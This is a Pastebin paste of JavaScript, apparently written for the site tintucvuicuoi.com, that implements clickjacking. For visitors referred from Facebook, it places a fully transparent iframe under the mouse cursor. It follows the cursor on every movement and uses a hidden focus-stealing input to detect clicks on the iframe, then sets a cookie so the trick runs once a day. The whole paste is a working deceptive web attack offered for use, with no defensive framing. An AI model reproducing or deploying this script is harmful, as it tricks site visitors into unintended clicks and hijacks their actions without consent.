Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var HostName = document.location.hostname.toLowerCase();
- var cpy_hv_gocfuny = "hoangbv9019";
- if (HostName.indexOf("tintucvuicuoi.com") >= 0 && HostName.indexOf("tintucvuicuoi") >= 0 && cpy_hv_gocfuny.indexOf("hoangbv9019") >= 0) {
- var rd = (Math.floor(Math.random() * (3 - 1 + 1)) + 1);
- var nameid = "container1";
- function addEvent(obj, eventName, func) {
- if (obj.attachEvent) {
- obj.attachEvent("on" + eventName, func);
- } else if (obj.addEventListener) {
- obj.addEventListener(eventName, func, true);
- } else {
- obj["on" + eventName] = func;
- }
- }
- function Get_Cookie(name) {
- var start = document.cookie.indexOf(name + "=");
- var len = start + name.length + 1;
- if ((!start) && (name != document.cookie.substring(0, name.length))) {
- return null;
- }
- if (start == -1) return null;
- var end = document.cookie.indexOf(";", len);
- if (end == -1) end = document.cookie.length;
- return unescape(document.cookie.substring(len, end));
- }
- if (Get_Cookie("hoanganh") != 5) {
- if (document.referrer.indexOf("facebook") >= 0) {
- var fan_page_url = '';
- opacity = 0;
- var time = 3000000;
- if ((document.getElementById) && window.addEventListener || window.attachEvent) {
- (function() {
- var hairCol = "#ff0000";
- var d = document;
- var my = -10;
- var mx = -10;
- var r;
- var vert = "";
- var idx = document.getElementsByTagName('div').length;
- var allLinks = document.links;
- var url = allLinks[(Math.floor(Math.random() * (allLinks.length - 1 + 1)) + 1)].href;
- var thehairs = "<div id='thecontainer' style='background-color:red;position:absolute;z-index:99999999;width:40px;height:20px;overflow:hidden;border:0;opacity:" + opacity + ";filter:alpha(opacity=" + opacity * 100 + ");'><div class='social' style='width:1000px;height:500px;margin-left:-830px;margin-top:-235px;' id='thecontainer1'><iframe scrolling='no' frameBorder='0' allowTransparency='true' src='" + url + "' style='width:1000px;height:500px;z-index:99999999;'></iframe></div></div>";
- document.write(thehairs);
- var like = document.getElementById("thecontainer");
- document.getElementsByTagName('body')[0].appendChild(like);
- jQuery(document).ready(function($) {
- if (timerpop > 0) {
- $('#fanback').delay(timerpop).fadeIn('medium');
- $('#fanclose, #fan-exit').click(function() {
- $('#fanback').stop().fadeOut('medium');
- });
- }
- });
- var pix = "px";
- var domWw = (typeof window.innerWidth == "number");
- var domSy = (typeof window.pageYOffset == "number");
- setTimeout(function() {
- if (domWw)
- r = window;
- else {
- if (d.documentElement && typeof d.documentElement.clientWidth == "number" && d.documentElement.clientWidth != 0)
- r = d.documentElement;
- else {
- if (d.body && typeof d.body.clientWidth == "number")
- r = d.body;
- }
- }
- }, 500)
- if (time != 0) {
- setTimeout(function() {
- document.getElementsByTagName('body')[0].removeChild(like);
- if (window.addEventListener) {
- document.removeEventListener("mousemove", mouse, false);
- } else if (window.attachEvent) {
- document.detachEvent("onmousemove", mouse);
- }
- }, time);
- }
- function scrl(yx) {
- var y, x;
- if (domSy) {
- y = r.pageYOffset;
- x = r.pageXOffset;
- } else {
- y = r.scrollTop;
- x = r.scrollLeft;
- }
- return (yx == 0) ? y : x;
- }
- function mouse(e) {
- var msy = (domSy) ? window.pageYOffset : 0;
- if (!e)
- e = window.event;
- if (typeof e.pageY == 'number') {
- my = e.pageY - 5 - msy;
- mx = e.pageX - 4;
- } else {
- my = e.clientY - 6 - msy;
- mx = e.clientX - 6;
- }
- vert.top = my + scrl(0) + pix;
- vert.left = mx + pix;
- }
- function ani() {
- vert.top = my + scrl(0) + pix;
- setTimeout(ani, 300);
- }
- function init() {
- vert = document.getElementById("thecontainer").style;
- ani();
- }
- if (window.addEventListener) {
- window.addEventListener("load", init, false);
- document.addEventListener("mousemove", mouse, false);
- } else if (window.attachEvent) {
- window.attachEvent("onload", init);
- document.attachEvent("onmousemove", mouse);
- }
- })();
- }
- }
- } else {}(function($) {
- $.fn.iframeTracker = function(handler) {
- $.iframeTracker.handlersList.push(handler);
- $(this).bind('mouseover', {
- handler: handler
- }, function(e) {
- e.data.handler.over = true;
- try {
- e.data.handler.overCallback(this);
- } catch (ex) {}
- }).bind('mouseout', {
- handler: handler
- }, function(e) {
- e.data.handler.over = false;
- try {
- e.data.handler.outCallback(this);
- } catch (ex) {}
- });
- };
- $.iframeTracker = {
- focusRetriever: null,
- focusRetrieved: false,
- handlersList: [],
- isIE8AndOlder: false,
- init: function() {
- try {
- if ($.browser.msie == true && $.browser.version < 9) {
- this.isIE8AndOlder = true;
- }
- } catch (ex) {
- try {
- var matches = navigator.userAgent.match(/(msie)([\w.]+)/i);
- if (matches[2] < 9) {
- this.isIE8AndOlder = true;
- }
- } catch (ex2) {}
- }
- $(window).focus();
- $(window).blur(function(e) {
- $.iframeTracker.windowLoseFocus(e);
- });
- $('body').append('<div style="position:fixed; top:0; left:0; overflow:hidden;"><input style="position:absolute; left:-300px;" type="text" value="" id="focus_retriever" /></div>');
- this.focusRetriever = $('#focus_retriever');
- this.focusRetrieved = false;
- $(document).mousemove(function(e) {
- if (document.activeElement.tagName == 'IFRAME') {
- $.iframeTracker.focusRetriever.focus();
- $.iframeTracker.focusRetrieved = true;
- }
- });
- if (this.isIE8AndOlder) {
- this.focusRetriever.blur(function(e) {
- e.stopPropagation();
- e.preventDefault();
- $.iframeTracker.windowLoseFocus(e);
- });
- }
- if (this.isIE8AndOlder) {
- $('body').click(function(e) {
- $(window).focus();
- });
- $('form').click(function(e) {
- e.stopPropagation();
- });
- }
- },
- windowLoseFocus: function(event) {
- for (var i in this.handlersList) {
- if (this.handlersList[i].over == true) {
- try {
- this.handlersList[i].blurCallback();
- } catch (ex) {}
- }
- }
- }
- };
- $(document).ready(function() {
- $.iframeTracker.init();
- });
- })(jQuery);
- jQuery(document).ready(function($) {
- $('.social iframe').iframeTracker({
- blurCallback: function() {
- setTimeout(function() {
- document.getElementById("thecontainer").setAttribute('style', 'margin-top: -200px; background-color: red; position: absolute; z-index: 99999999; width: 40px; height: 20px; overflow: hidden; border: 0px none; opacity: 0; top: 305px; left: 345px;');
- $('#fanback').stop().fadeOut('medium');
- var today = new Date();
- var expires = 3600000 * 24 * 1;
- var expires_date = new Date(today.getTime() + (expires));
- document.cookie = "hoanganh=5;expires=" + expires_date.toGMTString();
- }, 1000)
- w.blur();
- window.focus();
- }
- });
- $('.iframetrack iframe').iframeTracker({
- blurCallback: function() {
- $('<div class="alert alert-info">').html('Click on iframe : #' + this._overId).appendTo('#consoleDebug').delay(3000).fadeOut();
- },
- overCallback: function(element) {
- this._overId = $(element).parents('.iframetrack').attr('id');
- },
- outCallback: function(element) {
- this._overId = null;
- },
- _overId: null
- });
- });
- }
Advertisement
Add Comment
Please, Sign In to add comment